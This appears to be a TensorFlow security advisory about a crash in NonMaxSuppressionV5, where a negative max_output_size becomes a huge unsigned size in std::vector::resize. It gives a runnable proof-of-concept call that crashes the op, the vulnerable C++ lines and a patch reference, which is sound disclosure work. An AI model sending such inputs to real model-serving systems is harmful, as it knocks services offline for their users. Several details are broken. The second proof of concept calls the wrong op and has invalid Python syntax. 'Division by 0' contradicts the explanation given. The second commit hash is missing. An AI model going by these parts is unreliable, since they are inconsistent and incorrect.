Crash in NMS ops caused by integer conversion to unsigned

Impact

An attacker can cause denial of service in applications serving models using tf.raw_ops.NonMaxSuppressionV5 by triggering a division by 0:

import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
  scores=[1.0,2.0,3.0],
  max_output_size=-1,
  iou_threshold=0.5,
  score_threshold=0.5,
  soft_nms_sigma=1.0,
  pad_to_max_output_size=True)

The implementation uses a user controlled argument to resize a std::vector:

  const int output_size = max_output_size.scalar<int>()();
  // ...
  std::vector<int> selected;
  // ...
  if (pad_to_max_output_size) {
    selected.resize(output_size, 0);
    // ...
  }

However, as std::vector::resize takes the size argument as a size_t and output_size is an int, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in CombinedNonMaxSuppression:

import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
  scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
  max_output_size_per_class=-1,
  max_total_size=10,
  iou_threshold=score_threshold=0.5,
  pad_per_class=True,
  clip_boxes=True)

Patches

We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit .